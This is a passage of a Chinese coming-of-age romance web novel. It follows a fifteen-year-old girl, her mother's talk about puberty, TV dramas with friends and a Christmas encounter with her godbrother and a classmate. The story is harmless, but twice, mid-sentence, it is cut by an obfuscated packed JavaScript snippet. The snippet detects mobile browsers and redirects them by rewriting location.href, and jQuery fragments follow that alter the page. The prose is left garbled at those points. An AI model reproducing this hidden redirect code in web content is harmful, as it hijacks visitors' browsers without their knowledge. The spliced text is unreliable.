“你能不能别弹你那个破吉他了?噪音扰民很没公德心好吗!你是六指琴魔吗?你不写作业别人还要写!” 许悠然机关枪一样“突突突”说完,感觉心里无比畅快。韩骁啊韩骁,你嘲笑我的时候想过今天吗?许悠然恨不得在他面前叉腰仰天大笑。 罕见的是,韩骁竟然没和她斗嘴,只是背着吉他到许悠然看不见听不着的地方去了。 许悠然很纳闷,那个老爱跟他抬杠,老喜欢整他的韩骁去哪儿了?如果换作以前,韩骁会跟她斗上一百零八个回合,不把她气得火冒三丈、痛哭流涕不罢休,不等到郑骐或者韩少蓉回来,战争不会轻易结束。 许悠然不知道,在她成为真正的少女之前,少男的成长更为突然。哪怕她在那个夜晚,趁着爸妈还没回家,偷偷把妈妈藏起来的生理卫生课本找出来躲在被子里看了又看,她也不会了解,男生的成长比女生的成长来得更加猛烈,如狂风骤雨突袭,有时候连他们自己都无法控制。她对男生的了解仅限于她看到的、感受到的,郑骐永远是那个温柔耐心的谦谦君子,韩骁也永远是那个桀骜不驯的混世魔王。可是在她看不到的地方,有些东西已经悄悄变了。 她看着韩骁离去的背影,有些莫名的恍惚。 回到家的时候,妈妈已经做好了晚饭。许悠然这才发现,妈妈好像没有以前那么忙了,她已经很久没有吃过干妈做的晚饭了。她觉得很开心,但是又有一丝怅然。 “然然,多吃点,你看你这么瘦,像根竹竿。”周亚珍把排骨夹到女儿碗里,满脸怜爱。 “妈,你最近好像不忙了。”许悠然有心事,嘴里的排骨好像也不香了。 “不忙还不好吗?有更多时间照顾你呀,免得你老要在干妈家里蹭饭。” “唔,可是我觉得干妈做的饭比你好吃……”许悠然嘴里塞着半块排骨还不忘实话实说,惹来妈妈一个白眼。 “你这个没良心的,爱吃不吃。”周亚珍心里一堵,她的确对女儿关心得太少了,虽然她成长得很好,但是她这个做母亲的终究是亏欠太多了。听到女儿说干妈做的饭更好吃,她心里又吃味又歉疚。 “我吃我吃,我全吃完还不行吗?”许悠然察觉自己说错话,一口气夹了几块排骨大口吃起来。心里却还是忍不住嘀咕,本来就是干妈做的更好吃啊! “对了,你那个结束了没?”周亚珍停下筷子,决定趁丈夫不在家跟女儿讲一讲这件平时不好开口的事情。 许悠然已经知道“那个”是什么意思,她点点头,脸上还是浮现了一丝红晕。 “咳咳……然然,有些事情妈妈要跟你讲讲……女孩子来那个之后,就不是小孩子了,以后就是个大姑娘了,就……”周亚珍有些难以启齿。 许悠然故作镇定,一脸懵懂无知地看着妈妈。 “就可以怀孕生孩子了……”周亚珍快速说完,埋头夹菜。 “哦,知道了。”许悠然点点头,继续吃饭。 周亚珍惊得嘴巴都有点合不拢。许悠然的反应和她想象的不太一样。 “你知道怀孕是什么意思?”她藏不住话,决定问个清楚。 “知道呀,不就是肚子里有小宝宝么。”许悠然继续做无动于衷状。 那你知道怎么才能有小宝宝吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107782|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 周亚珍差点脱口而出。 作为妇产科医生她每天面对这些事情,早已经麻木,可是面对女儿她却成了锯嘴葫芦,完全不知道怎么开口。 周亚珍老脸一红。她觉得自己突然不认识女儿了。知女莫若母,不过片刻,她就想明白了。 “你是不是偷看过我放在柜子里的书?” 许悠然没打算撒谎,反正她早就想好了理由。绝对正当,绝对充分。 “嗯,那天你没回来,我又不知道怎么处理,所以找书看了看。” 周亚珍心里沉甸甸的。她那天开完会回到家已经快十点。要不是韩少蓉帮女儿买了卫生巾,这个傻女儿还不知道要一动不动地在床上躺多久。可是转念一想,傻女儿也是她教成这样的啊!怪不得别人。 “记得谢谢你干妈。”周亚珍主动转移了话题。 许悠然“嗯”了一声继续吃饭。那天她吃完郑骐送来的晚饭,喝完红糖水,肚子果然就不疼了,身上也暖和多了,她裹在被子里不敢乱动,生怕到处走会流更多血。 正当她因为保持一个姿势感到浑身僵硬难受的时候,干妈来了,手里还提了一个黑色塑料袋。 “然然,听说你那个来了,给,这是卫生巾,看好了,这样打开……” 许悠然感觉干妈是从天而降的救星。她终于可以走动了,她下了床刻意在家里走来走去,又反复检查裤子有没有弄脏,确定没有之后心里的大石头终于落地。她一边哼着歌一边写作业,甚至忘了问干妈是怎么知道她那个来了的。 “对了,以后和男孩子相处要把握好分寸,你已经是大姑娘了,别像小时候那样老粘着郑骐,知道吗?虽然他是你干哥哥,但是你们都长大了,别让人觉得我们许家的女儿没教养。”周亚珍吃完了放下碗,表情非常郑重其事。铺垫了那么多,这才是她今天真正想说的话。 她知道郑骐是个好孩子,许悠然更是傻得天真。两个人从小一起长大,和亲兄妹没什么区别。可到底不是兄妹,不管以后会怎么样,现在开始还是保持一点距离更好。养女儿的总比养儿子的要更操心一些。虽然她对韩少蓉和郑英伟一百个信得过,可还是不得不这么想。但是她又不敢说得太直接,幸好郑骐明年初中毕业,就不和许悠然在一个学校了。她只想女儿平平安安地长大,至于以后,她不去做任何假设。 妈妈前面说的那么多话都没有在许悠然心里掀起什么波澜,生理期带来的不适也随着生理期的结束而消失了,可是妈妈刚刚的话却犹如一根刺,突然扎了她一下。其实不需要妈妈说,她自己已经感受到了。 她做不到像以前那样自然又亲昵地和郑骐相处了。郑骐的靠近和触碰,都会让她心里紧张发慌,忍不住想躲开,但是心里又觉得开心,这种别扭不是源于反感和厌恶,她也不知道这是为什么。 更奇怪的是,面对韩骁,她没有这种别扭。她还是和以前一样,随时想要挫挫他的锐气,看他吃瘪她就开心。韩骁若是敢扯她的辫子,她绝对会马上毫不留情地给他一拳或者踢他一脚。 可是韩骁,再也没有扯过她的辫子了。 12. 011 许悠然从来没想过校园生活会变得这么无聊。升入毕业班的她突然感到了升学的压力,周围的同学也好像都变得沉默寡言了,学校里只有行色匆匆的人。 她怀念以前和郑骐一起上学放学的日子,也怀念在干妈家里吃饭时和韩骁抢排骨的夜晚,她甚至觉得韩骁以前在学校带着一帮哥们儿嚣张来去的画面都令她怀念。没有他们的校园,安静又肃穆,孤独且冷清。 这是长大的代价吗?许悠然以前很希望自己可以快点长大,这样她就可以跟上郑骐的脚步,可她不知道长大会让她和郑骐之间出现看不见摸不着却切实存在的屏障。这个屏障具体是什么呢?她说不清楚。只知道郑骐对她还是像以前那样亲切温柔,会给她送好吃的,会在她晚归的时候等在院门口,也会关心她考试的成绩,会在考试前给她划重点督促她记住,可是他再也不像以前那样在她开心的时候笑着摸摸她的头,在她伤心的时候揽住她的肩膀逗她笑。 她长高了,身体也开始发育了,不再是之前那个瘦巴巴的小豆芽。郑骐也从那个单薄的少年长成了玉树临风的男孩,在一众高中生里面他永远是那个最惹眼最出类拔萃的,年级第一的成绩,写得一手好字,精通各种运动,是许多女生心目中的白马王子。 当然,她没亲眼见过,都是韩骁告诉她的。每次他跟她抬杠落了下风的时候,就会一脸看好戏的表情说“哎呀呀,昨天又有人给郑骐送情书了”“前天打篮球有女生给他送水,结果认错了人,把我当成了他,你说离不离谱”“大前天放学,有人拦住他的自行车非要塞给他一双护腕”……诸如此类。 说完他就笑眯眯地看着许悠然,等着她还击。而她总是掉进他的圈套。 一听到这些怪话,她就感到心里酸溜溜的,有一股无名火往上窜,可是又不知道自己在气什么,只得毫无杀伤力地留下一句“无聊!”,然后气呼呼地离开。若是这个时候正好碰到郑骐,她就会狠狠地瞪他一眼,迈着更大更重的步子,头也不回地走掉。留下一脸莫名其妙的郑骐,而罪魁祸首早已经溜之大吉。 幸好,没过多久,许悠然终于知道这股火叫什么,也找到了反击韩骁的方法。 不知道从什么时候开始,班里女生之间开始秘密地默契地传播一种交朋友的法宝——言情小说。只要看过同一本小说,猜对过同一个男主角,那就是铁杆的好姐妹。男孩的友谊或许始于打架,而女孩的友谊通常始于同一部偶像剧。 袁文君和爷爷奶奶同住,不像其他人被父母管得那么严,她超出所有人的进度,已经从文字想象层面进化到了视效现实层面——她可以随便看电视。每天一到学校她就绘声绘色地把昨天看过的偶像剧讲给同学听。初三了,作业都写不完,又面临着升学的压力,大多数人既不被允许也没心情看电视。而许悠然是那个不被允许但是很想看电视的人。 袁文君口才好,讲到隐晦处,几个女孩子面红耳赤,又不好意思又心痒痒。李薇薇提议:“不如周末我们去你家看电视,就跟家长说去你家写作业。” 许悠然一脸期盼看着袁文君:“袁大侠,求求你了……”她睁着圆圆的大眼睛,无辜又可怜的模样像一只乞求肉骨头的小狗。 袁文君被她的样子逗笑了,豪爽地拍拍桌子应允道:“那好吧,自带零食和饮料,我提供场地,先统一口径,可别露馅了。” 女孩们欢呼雀跃起来。 终于到了周六。许悠然一大早就起床了,快速吃完饭收拾好书包,跟妈妈打了个招呼就开心地出发了。那样子不像要去同学家写作业,倒像是去秋游。 秋天是这个城市最好的季节。天空一片湛蓝,偶尔几朵白云慢悠悠飘过来,空气中偶尔划过几缕微风,带着干燥明朗的气息。枫叶开始红了,要不了多久,就可以看到万山红遍、层林尽染的风光了。到时候要不要约郑骐一起去郊外爬山呢?不行,妈妈肯定不会同意她和郑骐两个人单独出去玩,还是得把讨厌的韩骁也叫上。 许悠然一边想一边踢着步子往前走,突然一块圆滚滚的鹅卵石不偏不倚地滚到她脚尖,吓得她差点摔倒。 她抬头一看,真是白天不能说人,晚上不能说鬼。说曹操曹操到。 “你干嘛!”许悠然瞪他一眼,没好气地把石头踢开。妈呀,这石头还挺沉,她痛得把脚缩了缩。韩骁的脚是铁打的吗? 韩骁胳膊下夹一个篮球,脸上还有微汗,额前的碎发被汗渍浸湿,一缕缕的有些凌乱。明明和郑骐一样好看的脸,可表情就是有些欠揍,“这么高兴去哪儿啊?” 许悠然条件反射般回答:“要你管!” 韩骁早已经习惯了她的态度,故意吹了个口哨,笑眯眯地说:“哦,我不管,我才没那闲工夫呢,不过我早上看到郑骐和一个女生一起出去玩了。” 他好整以暇地看着许悠然,等着她爆发。 果不其然,许悠然脸色一变,再也笑不出来了,撇着嘴垂头丧气站在那,像被狂风骤雨打焉了的茄子。她突然不想去袁文君家里看电视了,她想知道郑骐去哪儿了,她甚至还想去跟踪他,看看他是不是真的和一个女生在一起。 见她果然又上当了,韩骁忍住笑,把篮球拍在地上,弹回来的时候稳稳接住,然后像个职业运动员那样,用手指顶着球一拨,篮球像长在他手上一样,稳稳转动着。 “哈哈,瞧你那点儿出息,我骗你的,他没和女生出去,他去上补习班了。” 见许悠然不信,他又补了一句,“一个人去的。” 许悠然这才突然想起来,每个周六郑骐都要去上补习班,根本不可能和什么女生出去玩。 她气得咬牙切齿,捡起地上的石头用力朝韩骁扔过去。 “王八蛋!” 韩骁灵活地扭身躲过她的袭击,哈哈大笑着跑回了家。风里传来他清澈的少年音:“我高兴!” 因为韩骁的耽搁,许悠然到袁文君家的时候其余人已经都到齐了,就等着她。见她来了马上都迫不及待地在电视机前面坐下,眼睛瞪得和铜铃一样。 明明是个喜剧,却处处充满了酸楚。看到女主颠沛流离,到处躲躲藏藏闹出不少笑话,女孩们又笑又忍不住为她揪心。看到男主角把女主这个假妹妹当真妹妹一样疼爱关怀,又忍不住羡慕,恨不得自己变成女主角。看到男女主纠结是否要真的永远做兄妹的时候,心又提到了嗓子眼……画面唯美,节奏紧凑,好听又切景的配乐,女孩们都沉浸到了女主角的情绪里,一会儿唉声叹气一会儿抿嘴偷笑发花痴。 “男主对女主太好了,怪不得女主喜欢他,我要是她也会喜欢男主,不会喜欢吊儿郎当的男二。”李薇薇看得感动,眼眶都有点发红。 “太难选了,男二也好,男主也好,能不能都要?哈哈哈……”袁文君大大咧咧惯了,最不喜欢把话藏在心里,说完她就笑得扑倒在李薇薇身上。 “你别做梦了,小心贪变成贫!”李薇薇虽然多愁善感,但是异常清醒,简直超出了十四五岁女孩的认知。 许悠然罕见地没有做声,也没有吃零食,她看得太投入,以至于忘了这是在看电视。 “悠然,你呢?你选男一还是男二?” 袁文君的大嗓门让许悠然如梦初醒。她有些慌张地拿起手边的零食,塞了一根虾条到嘴里,含含糊糊地说:“我……我不知道。” 袁文君不肯放过她,抢走她的零食,掰正她的脸,突然诡异地笑了。 “你脸怎么红了?” “哪有!我干嘛脸红?”许悠然慌忙捂住脸,不让大家看。 “哈哈哈,老实交代,你脸红什么?不然今天别想离开我家!”袁文君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107783|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出一副山大王的模样,叉腰狂笑。 “行行,我说。诶,你们说男主到底是喜欢女主还是喜欢他前女友啊?”许悠然很迷惑,男主不是把女主当妹妹才对她那么好的吗? “你个傻子!当然是喜欢女主啦,你看他对女主多好,随时惦记着女主,看到好吃的给她买,记得她随口说的玩笑话,下雪天给她买生日礼物,帮她还债,这还不算喜欢?” “可这个时候女主的身份是他表妹啊,哥哥对妹妹好难道不是应该的吗?”许悠然反问。 “可是他们自己知道不是真的兄妹啊,如果不喜欢就不应该这么入戏,表面上过得去就行。”李薇薇指出问题关键。 “而且,男主老是摸女主头,你知道这叫什么吗?‘摸头杀’!男生只有对喜欢的人才会用‘摸头杀’。”袁文君双手交握,一脸花痴做幻想状。 许悠然听了脸更红了。 “不过还是女主先喜欢男主的,在舞会那里,她看到男主和女二跳舞又亲吻的时候就意识到了,嘿嘿,我最爱看这种修罗场了。” 许悠然感到自己耳根烫得吓人。 她终于知道那奇怪的屏障是什么了。 因为她喜欢郑骐,并不只是把他当哥哥而已。 所以韩骁的玩笑话能轻而易举让她生气,所以在郑骐抬手想要摸她的头却又收回的时候她会失望。他们长大了,却又还没长到足够谈论爱情的年纪。 那么,郑骐喜欢她吗? 许悠然怀揣着一肚子胡思乱想,天快黑的时候才回到大院。果不其然,郑骐在院门口等她。 “怎么回得这么晚,以后要是晚了给我打电话,我去接你。”郑骐接过她的书包,虽然对她的晚归有点担心,但说出口的话还是一如既往的温柔。 “有不会的题目吗?我给你讲。”郑骐掂掂她的书包,感觉有点沉。 许悠然茫然地点点头,又摇摇头。她根本没听清郑骐在说什么。她磨磨蹭蹭跟在他身后,感觉有许多话想说,但是又不敢说。 他的背影高大挺拔,还不到十八岁就已经快赶上他父亲了。许悠然看着他的背影,恍惚间自己好像变成了今天电视剧里的女主角。如果她永远只能以妹妹的身份,这样傻傻跟在他身后看着他的背影,看着他走得越来越远,或许以后身边还会出现一个女孩陪他一起走,这样的未来是她想要的吗? 许悠然突然用力摇了摇头,不,她不接受!如果郑骐身边非要有一个人陪他一起走,这个人必须得是她!他的‘摸头杀’只能属于她,他的细心耐心也只能属于她。 可她才十五岁,什么都做不了。除非她也想吃“竹笋烧肉”。 后来的几天,许悠然跟着了魔一样,上着课就突然走了神,吃着饭就打翻了碗,做题的时候不知不觉在草稿纸上写了“郑骐”的名字。 她觉得又好气又好笑。 她的字写得很秀气,小时候练字的情景仿佛还是昨天。那个时候她刚刚学会写字,看到郑骐每天练字觉得很好玩,就在旁边跟着画。结果郑骐以为她也想练,认真地找了适合女孩子的硬笔字帖让她练,又把只顾着贪玩的韩骁也抓回来练字。就这样,兄弟俩练适合男孩子的字帖,遒劲洒脱。许悠然就在旁边埋头描适合女孩子的字帖,清劲秀丽。就这么两三年过去,连不学无术的韩骁都能写一手漂亮的字,和郑骐不相上下。 此刻看着自己亲手写下的郑骐的名字,许悠然感到脸上一阵发烧。 明明是从出生就认识的人,却好像还是第一次认真写下他的名字。仿佛是一种承诺,写下他名字的那一刻,也把他的脸深深刻在了心里。许悠然这么想着,又不由自主在草稿纸上一连写下了好几个“郑骐”,每写一次他的脸就更清晰一些。 看着满纸的“郑骐”,许悠然露出傻傻的微笑。 13. 012 秋去冬来,北方的冬天凛冽严酷,却有室内暖气和独一无二的冰雪世界。南方的冬天温暖湿润,自成一派天地。只有中部不南不北,既要忍受夏天迫人的炙热又要忍受湿冷刺骨的冬天。 许悠然讨厌冬天,却喜欢下雪。因为下雪天天然有一种浪漫,“绿蚁新焙酒,红泥小火炉”的温暖,“人生到处知何似,应似飞鸿踏雪泥”的洒脱,“白雪却嫌春色晚,故穿庭树作飞花”的倔强,都是她喜欢的。 在无风无晴的阴雨天,羽绒服也不足以阻挡沿江城市的湿冷,空气裹挟着冷和潮,无孔不入。许悠然在教室冻得发抖,忍不住在桌下跺了跺脚。可是许久没动,脚都冻僵了,突然一动,钻心的痛传来,她忍不住抽搐一下,把同桌的袁文君吓了一跳。 “干嘛?”袁文君用胳膊捅捅她。 “脚……麻了”许悠然苦着脸。 “哎,明天是圣诞节,你有什么打算没有?”袁文君在草稿纸上胡写乱画。刚刚发下来的数学试卷,她勉强才及格。 “没,我讨厌冬天。快冻死了……”许悠然看着自己好不了多少的试卷,觉得很心烦。她最近成绩下滑得厉害,原本在班上排名很前,现在退步到了中游,再这样下去,期末考试肯定要挨骂了。 “可是圣诞节是最浪漫的节日啊,在下雪天给喜欢的人送礼物,你忘了我们上次看过的电视剧啦,男主送给女主的那个水晶球真好看。”袁文君又开始发花痴。 “是很浪漫,可是等到你数学不及格的时候就不浪漫了。”许悠然点点她的试卷,一本正经。 她口是心非,道貌岸然。她也觉得那个水晶球很好看,本来想自己买一个,可又觉得这种东西自己买怪没意思的。应该有人送给她才对。 正胡思乱想,袁文君又捅了捅她的胳膊。 “快看!下雪了!” 雪籽变成小雪花,小雪花又逐渐变成鹅毛大雪,直至铺天盖地一片雪白。糟糕的成绩带来的坏心情被突然而至的大雪赶走了,许悠然突然也对明天有了期待。 她把不满意的数学试卷塞到抽屉里,先把圣诞节过了再说! 圣诞节如期而至,校园里静静弥漫着节日氛围,关系好的女生们互相送一张圣诞卡片或者一个苹果。男生们不流行过节,但总有胆大的男生悄悄塞一个红苹果到喜欢的女生的抽屉里,或者等到放学的时候在校门口蹲点,然后结结巴巴地说一堆自己都听不明白的话。 许悠然送了苹果给袁文君和李薇薇等几个关系好的女生,也收到了卡片和苹果。圣诞节原本就不是中国人的节日,再多的节日消遣也不是她们能负担得起的,过于大张旗鼓还会被老师逮住批评教育,说是节日,其实也仅限于此了。许悠然小口啃着苹果,心却早就飞到了别处。 她知道郑骐在学校很受欢迎,今天会不会有很多女生给他送礼物呢?高中生比初中生大胆得多,她知道学校里有些同学已经暗地里在谈恋爱了,高中只会更多。郑骐会接受她们的礼物吗? 她心不在焉地写完一套数学试卷,赶在天黑透前离开了学校。 路上的雪没化,她走得小心翼翼,生怕摔个屁股墩。实在太冷了,今天雪停了,老话说“下雪不冷化雪冷”,她感觉吸进肺里的冷空气跟刀子一样。举步维艰地走到院门口,熟悉的身影让她脚步一滞。 门口落满了雪花的松树和偶像剧里的圣诞树看起来一模一样,树下站着一对年轻男女,男生修长俊美,女生高挑靓丽,多美好的画面。 几乎没有多余的思考,许悠然躲到了墙后根儿。 女孩从包里掏出一个盒子递给郑骐,又说了什么。郑骐看了看,没接,又对女孩说了什么。 许悠然听不清他们的对话,但是看女孩的神情,娇羞腼腆却不失勇敢和大方。而她像个变态,躲在这里偷看。 凭什么! 许悠然突然感到很不服气。她也不知道自己要干什么,反正就是不想在墙角窥视了,这让她看不起自己。 她站直身体,轻轻活动了下脚踝,大步朝两人走去。 “郑骐,你也放学了。”许悠然假装没看到他们之前的动作,一脸好奇地偷偷打量。 女孩子果然长得很漂亮,比她高,即使穿得臃肿也看得出发育得很好。脸蛋冻得红扑扑的,像个饱含汁水的水蜜桃。 她记起妈妈从小强调的礼貌,撇开了视线。 “你好。”女孩子彬彬有礼地和她打招呼。 “你好。”许悠然也微笑着回应。 “郑骐,这是你同学吗?可是她看起来好小,好可爱!”女孩主动对许悠然释放善意。 许悠然看着郑骐,他表情温和平静,和平时没有什么区别,完全看不出被人送礼物的喜悦。 “这是我妹妹许悠然,上初三。”他突然伸出手,在许悠然头上轻轻拍了拍。 “难怪看起来这么小,比我们低两级呢。好了,不早了,我先走了,明天见!” 女孩对两人挥挥手,潇洒地离开了,那个没送出去的礼物还被她拿在手里。 一股无名火窜了上来,许悠然猛地推开郑骐的手,“谁是你妹妹!” 郑骐被她突如其来的暴躁惊得一愣,见她气鼓鼓地不看他,只得转到她面前,微微躬下身子,笑眯眯地说,“你忘了我妈是你干妈吗,那我当然是你哥了。叫了十几年现在想反悔?” 许悠然就是觉得很生气。她从小叫他哥没错,院子里的人也都知道干妈疼她,可是郑骐在那个女孩面前说她是他的妹妹,听起来就是让她很不舒服,好像他在刻意澄清什么一样。 “什么妹妹,又不是亲的。”她低声嘟哝。 两人正僵持着,一个小心翼翼的声音从背后传来。 “许悠然?” 许悠然回身看去,是她同班同学,一个平时很调皮捣蛋的男孩。 她很诧异,他到这里来干嘛? “李昊,你怎么在这里?” “我……特意来找你的。”李昊像换了个人似的,摸摸后脑勺,很害羞的模样。 找我?许悠然心里一咯噔。她平时和李昊话都没说过几句呀,找她干什么? 李昊搓搓手,见旁边还站着个高大帅气的男孩,结结巴巴地问:“许悠然,这位同学是……” 许悠然心一横,有些气哼哼地说:“这是我哥。” 李昊悬着的心顿时放下了,马上恭敬地鞠了个躬:“哥,您好!我是许悠然的同学李昊。” 郑骐听到“哥”这个字放在身侧的拳头攥了攥,微微点点头,不动声色打量这个男生。 比他矮半个头,长得算端正吧,就是举止有些瑟缩,不够大方。 “许悠然,你能过来一下吗?我有点事情想跟你说。” 许悠然不明就里,看了眼郑骐,跟着李昊走远了点。 “别说太久,我妈还等着我们吃饭!”郑骐看着他们走远的身影,突然有点不爽,说话的声音带着几分少有的凌厉和严肃。 “今天是圣诞节,这是我送你的礼物。我……挺喜欢你的。”李昊从书包拿出一个精美的盒子,说完这些话自己也有些不好意思,看都不敢看许悠然一眼。 浅粉色的绸带在蓝色的盒子上打了一个漂亮的蝴蝶结,真看不出来李昊居然还是一个这么精致的人。许悠然对李昊有点刮目相看。她以为像韩骁和李昊这种捣蛋大王对这些事情应该是嗤之以鼻 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“就是他。”许悠然朝郑骐的方向示意了一下,又快速地转回头,生怕郑骐知道他俩的对话。 “他不是你哥吗?”李昊被许悠然弄得摸不着头脑,看了看远处等待的郑骐,又看了看面前的许悠然。 “不是亲哥,他妈是我干妈。”许悠然低声解释,脸上浮出几丝红晕。 “哦——”李昊恍然大悟。 青梅竹马,两小无猜。就算他不怎么爱学习,也听过李白的大作。 “那……没事……祝你开心,我回家了,拜拜。”李昊故作洒脱笑了笑,脚步有些踉跄地走了。 他想过会被拒绝,但是没想过会被当场处刑,死得这么惨烈。李昊很难受,但是又没那么难受。他虽然自我感觉良好,但还不至于没有自知之明。许悠然的哥哥长得又高又帅,一看就是品学兼优的好学生,他虽然输了,但是输得不冤。 他失魂落魄地往外走,一不留神撞到了一个人身上。 “我靠,走路不长眼啊!”韩骁被撞了个满怀,气得破口就骂。 李昊也知道自己理亏,可是对方这样不客气他心里也有了气,本来心情就不好,还撞上个横的。 “不好意思,我不是故意的。”李昊抬头一看,目瞪口呆,怎么又有一个干哥哥? 他怀疑自己是不是眼花了,伸出手在眼前晃了晃。 没做梦啊!他站住脚,回身去看许悠然,只见她已经走回了那个干哥哥的身边。他揉揉眼睛,又转回身看眼前的人。 没错,真的是一模一样的两个人……他没眼花。不过眼前的这个比刚才那个看起来狠多了,一看就不好惹。 韩骁见面前的小子傻里傻气的,懒得跟他计较,越过他大步往大院走去。 郑骐和许悠然一言不发地往家走着。 韩骁悄悄跟上他们,冷不防往两人脖子里塞了一把雪。 许悠然吓得跳起来。 郑骐被冻得咧嘴,转身给了韩骁一脚。 “韩骁,你有病啊!” “韩骁,你找死是不是!” 许悠然正愁没处撒气。她还没对郑骐那声“妹妹”释怀,现在谁要是惹她谁就是她的出气筒。她捧起一团雪揉成一个雪球,对准韩骁的脸砸去。 郑骐踢了一脚还不解气,追着韩骁要打,他正想揍人,李昊那小子他揍不了,揍这个总没问题! 韩骁反应敏捷,一个闪身就跑远了。他的笑声还回荡在冷冽的空气里。 “两个笨蛋,哈哈哈哈……” 14. 013 许悠然正准备回家,干妈韩少蓉从屋里出来了。 “然然,你妈妈晚上要值班,饭我做好了,我现在也要去医院,你跟哥哥们一起吃了饭再回家。” 许悠然现在不想和郑骐待在一起。可她若是说自己不想吃饭,干妈肯定会追问个没完,只得点点头闷不做声地跟着郑骐进了家门。 “好香!是我喜欢的糖醋排骨!都别跟我抢啊!”韩骁把书包一扔,手都不洗就蹿到了桌边。 郑骐朝他屁股踢了一脚,没好气地说:“洗手。” 韩骁不以为然地撇撇嘴,但还是老实地去洗了手。 三个人分坐在桌边吃饭,韩骁吃得津津有味,郑骐吃饭很安静,许悠然食不知味吃得很慢。 “吃块排骨。”郑骐瞅瞅许悠然的脸色,夹了块排骨到她碗里。 许悠然默不作声,把排骨又夹回了盘子。 “你不吃我吃。”韩骁眼睛在两人身上扫视一圈,把那块排骨夹到了自己碗里。 “吃吧,饿死鬼投胎!” 幸亏有韩骁。许悠然第一次感激有韩骁的存在。不然这沉闷的气氛简直要把她憋死。 “饮食男女,人之大欲,你还小不懂。”韩骁没生气,真的把排骨都夹到了自己碗里。 “就你懂,你什么都懂行了吧!” 许悠然见他那副“你是个小孩”的表情就来气,她已经十五岁了好吗,马上就上高中了,不是什么都不懂的小孩。 “我说事实,你自己不吃还不让别人吃啊,我可不惯着你,我就吃,全吃光。”韩骁说完还故意夹起一块排骨在她面前晃了晃。 排骨的香气充斥在空气里,像有钩子一样把许悠然肚子里的馋虫都勾了出来。她其实早就饿得肚子咕咕叫了。本来天气冷就容易饿,她好久没吃干妈做的饭了,何况这还是她最爱的排骨。 她决定向排骨妥协,吃饱了再和郑骐怄气。 “这是我的排骨!”她虎口夺食,把韩骁手上的排骨抢了过来。 “什么你的?我的!”韩骁也不相让,两个人跟小孩一样抢了起来。 许悠然把他碗里的排骨夹出来,他就伸手夹住许悠然的筷子,让她动弹不得。最后他索性在每块排骨上咬了一口,“来夹吧,我大方,不介意。” “你真恶心!”许悠然做了个呕吐的表情,放弃继续和他抢排骨。 不知道是韩骁放水还是她实力见长,战斗结束的时候她碗里已经整齐摆着三块排骨了。她吃着干妈做的排骨,心里感到美滋滋的,甚至忘了之前的不快。 郑骐对两人幼稚的把戏司空见惯、置若罔闻。他安静吃完饭,把碗筷收拾进厨房,又洗好碗整理好厨房,像个沉默的大家长。 “你惹他生气了?”韩骁看着郑骐在厨房忙碌的背影,幸灾乐祸。 “你才惹他生气!他生气和我有什么关系?”许悠然气急败坏。 从回家到现在,郑骐和她说的唯一一句话就是让她吃排骨,她赌气把排骨夹出去之后他就开始一言不发,沉默是金。 “反正和我没关系。嘿嘿,我从来没见过他这样,你完了,小心他揍你。”韩骁对许悠然阴恻恻地笑了笑。 “他才不会揍我,只会揍你。对了,为什么你不洗碗?”许悠然一直偷偷关注着在厨房里干活的郑骐,不知道为什么,她心里有点发怵,她也没见过郑骐这个样子,以前不管有什么事,他都不会这样一句话不说。 “谁让他是哥哥我是弟弟,你以为一声‘哥’是白叫的吗?再说,我觉得今天他很乐意洗碗。” 韩骁一刻不得消停,一边把墙壁当球桌打乒乓球,一边随意和许悠然说话。一心两用却游刃有余。 “不跟你扯了,我要回家写作业了。你没作业吗?每天贪玩。”许悠然其实很羡慕韩骁,他好像从来没为学习烦恼过,也不像郑骐那样上补习班,看起来像是烂泥扶不上墙,但他成绩一直都还不错。 老天真不公平!许悠然提起书包,气哼哼地准备回家。 “然然,我送你。”郑骐终于从厨房出来了,他拿走书包率先走了出去。 “噢……”许悠然没了书包,只得跟在他身后。 门开了,刺骨的西北风见缝插针地钻进了屋子,冻得韩骁一颤。 门又关了。许悠然和郑骐的身影消失在他视线里,屋子里留下一片冷寂,好像刚才的热闹只是一场梦。只有乒乓球撞击墙壁的声音,“砰砰砰”一下一下,就像他的心跳声。 韩骁握球拍的手垂下来,乒乓球滚落在地,最后不知道停在了哪里。屋子里终于陷入了彻底的安静。 “然然,你在生我的气吗?是不是我做错什么了?” 两家隔得并不远,不到一百米的距离,仿佛走了很久很久。 许悠然低头不做声,昏黄的路灯下,郑骐看不清她的表情,但是他知道,许悠然在生气。 “如果你觉得我哪里做得不对,你说出来,我可以改。不说话解决不了问题。” 郑骐停下脚步,拉住了她的手腕。 许悠然突然被他拉住,浑身像触电一样微微一颤,挣了挣,没挣脱。 “今天那个女生是你同学吗?”她鼓足勇气,决定问个清楚。她不可能一直不和郑骐说话,她做不到。 郑骐轻笑一声,松开她的胳膊,“你生气就为这个?她是我同学,来送圣诞礼物给我。不过我告诉她,我不过圣诞节,不会收她的礼物。” 许悠然心里一直绷着的弦松了松,“那你是不收她的礼物,还是不收所有女生的礼物?送礼物给你的肯定不止她一个吧?”想到韩骁的话,许悠然心里酸溜溜的。 “呵呵,谁告诉你的?”郑骐低下头,好笑地看着许悠然别扭的样子。 “韩骁说的,说你在学校很受欢迎,很多女生喜欢你,把你当成白马王子……” “这小子,看我回去揍他。他瞎说的,再说我也不关注别人,你别信他的。” 